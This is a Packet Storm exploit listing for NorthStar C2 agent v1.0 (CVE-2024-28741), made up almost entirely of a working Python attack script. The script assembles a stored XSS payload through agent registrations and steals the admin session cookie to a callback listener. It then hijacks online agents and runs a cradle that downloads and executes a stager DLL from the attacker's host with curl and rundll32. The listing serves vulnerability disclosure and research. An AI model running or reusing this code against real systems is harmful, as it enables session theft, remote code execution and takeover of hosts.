Lucene search

K
packetstormChebuyaPACKETSTORM:177542
HistoryMar 12, 2024 - 12:00 a.m.

NorthStar C2 Agent 1.0 Cross Site Scripting / Remote Command Execution

2024-03-1200:00:00
chebuya
packetstormsecurity.com
75
northstar c2
cross site scripting
remote command execution
ubuntu 20.04
cve-2024-28741
agent registration
unauthenticated attacker
javascript payload
stored xss
pre-auth
blog exploit analysis

7.4 High

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

53.1%

`# Exploit Title: NorthStar C2 agent RCE via stored XSS  
# Date: 2024-03-11  
# Exploit Author: @_chebuya  
# Software Link: https://github.com/EnginDemirbilek/NorthStarC2  
# Version: v1.0  
# Tested on: Ubuntu 20.04 LTS  
# CVE: CVE-2024-28741  
# Description: NorthStar C2 applies insufficient sanitization on agent registration routes, allowing an unauthenticated attacker to send multiple malicious agent registration requests to the teamserver to incrementally build a functioning javascript payload in the logs web page. This XSS can be leveraged to execute commands on NorthStar C2 agents  
# Blog: https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/  
from http.server import BaseHTTPRequestHandler, HTTPServer  
from bs4 import BeautifulSoup  
import requests  
import base64  
import threading  
import time  
import os  
  
class Collector(BaseHTTPRequestHandler):  
def do_GET(self):  
cookie = self.path.split("=")[1]  
print("Cookie: " + cookie)  
self.send_response(200)  
self.end_headers()  
self.wfile.write(b"")  
  
background_thread = threading.Thread(target=steal_agents, args=(cookie,))  
background_thread.start()  
  
self.server.shutdown()  
  
def agent_execute_command(agent_id, csrf_token, headers, command):  
data = {  
'slave': agent_id,  
'command': command,  
'sid': agent_id,  
'token': csrf_token  
}  
  
r = requests.post(target_url + '/functions/setCommand.nonfunction.php', headers=headers, data=data)  
  
while True:  
r = requests.get(target_url + f"/getresponse.php?slave={agent_id}", headers=headers)  
if len(r.text) != 0 or command == "die":  
break  
  
time.sleep(1)  
  
def steal_agents(cookie):  
headers = {  
"Cookie": f"PHPSESSID={cookie}"  
}  
r = requests.get(target_url + "/clients.php", headers=headers)  
soup = BeautifulSoup(r.text, 'html.parser')  
rows = soup.find_all('tr')  
  
agent_ids = []  
hostnames = []  
  
for row in rows:  
cells = row.find_all('td')  
if len(cells) != 9:  
continue  
  
status = cells[7].text.strip()  
if status != 'Online':  
continue  
  
agent_ids.append(cells[1].text.strip())  
hostnames.append(cells[5].text.strip())  
  
  
script_tags = soup.find_all('script')  
  
csrf_token = None  
for script_tag in script_tags:  
if 'csrfToken' in script_tag.text:  
csrf_token = script_tag.text.split('"')[1]  
break  
  
if csrf_token:  
print("CSRF Token:", csrf_token)  
else:  
print("CSRF Token not found")  
return  
  
for i in range(len(agent_ids)):  
agent_id = agent_ids[i]  
hostname = hostnames[i]  
print(f"Stealing {hostname} ({agent_id})...")  
  
print("Enabling shell mode")  
agent_execute_command(agent_id, csrf_token, headers, "enablecmd")  
print(f"Running sliver cradle: {cradle_command}")  
agent_execute_command(agent_id, csrf_token, headers, cradle_command)  
print("Disabling shell mode")  
agent_execute_command(agent_id, csrf_token, headers, "disablecmd")  
print("Sending suicide to slave")  
agent_execute_command(agent_id, csrf_token, headers, "die")  
  
  
print("Exploit finished, exiting")  
os._exit(0)  
  
  
def xor_encryption(text, key):  
encrypted_text = ""  
  
for i in range(len(text)):  
encrypted_text += chr(ord(text[i]) ^ ord(key[i % len(key)]))  
  
return encrypted_text  
  
def generate_sid(sid):  
encrypted_sid = xor_encryption(sid, "northstar")  
  
return base64.urlsafe_b64encode(encrypted_sid.encode()).decode()  
  
def exploit(target_url, callback_url):  
target_url = target_url.rstrip("/") + "/login.php"  
  
protocol = callback_url.split(":")[0] + "://"  
host = callback_url.split("/")[2].split(":")[0]  
h1, h2 = host[:len(host)//2], host[len(host)//2:]  
  
if callback_url.count(":") == 2:  
port = callback_url.split(":")[2]  
else:  
if protocol == "https://":  
port = "443"  
else:  
port = "80"  
  
sid_payloads = ["N*/</script><q", "N*/i.src=u/*q", "N*/new Image;/*q", "N*/var i=/*q", "N*/s+h+p+'/'+c;/*q", "N*/var u=/*q", f"N*/'{protocol}';/*q", "N*/var s=/*q", f"N*/':{port}';/*q", "N*/var p=/*q", "N*/a+b;/*q", "N*/var h=/*q", f"N*/'{h2}';/*q", "N*/var b=/*q", f"N*/'{h1}';/*q", "N*/var a=/*q", "N*/d.cookie;/*q", "N*/var c=/*q", "N*/document;/*q", "N*/var d=/*q", "N</td><script>/*q"]  
for sid in sid_payloads:  
print(sid)  
params = {  
'sid': generate_sid(sid)  
}  
  
requests.get(target_url, params=params, verify=False)  
  
def run(port):  
server_address = ('', int(port))  
httpd = HTTPServer(server_address, Collector)  
print(f'Server running on port {port}')  
httpd.serve_forever()  
  
cradle_command = r"curl http://192.168.1.6:8000/stager.dll > c:\users\public\stager.dll & rundll32 c:\users\public\stager.dll,inject & echo DONE"  
  
callback_host = "192.168.1.6"  
callback_port = "8080"  
  
target_url = "http://192.168.1.4:80"  
callback_url = f"http://{callback_host}:{callback_port}"  
  
print("Sending malicious agent registrations...")  
exploit(target_url, callback_url)  
print("Registrations finished, waiting for execution...")  
run(callback_port)  
`

7.4 High

AI Score

Confidence

Low

0.002 Low

EPSS

Percentile

53.1%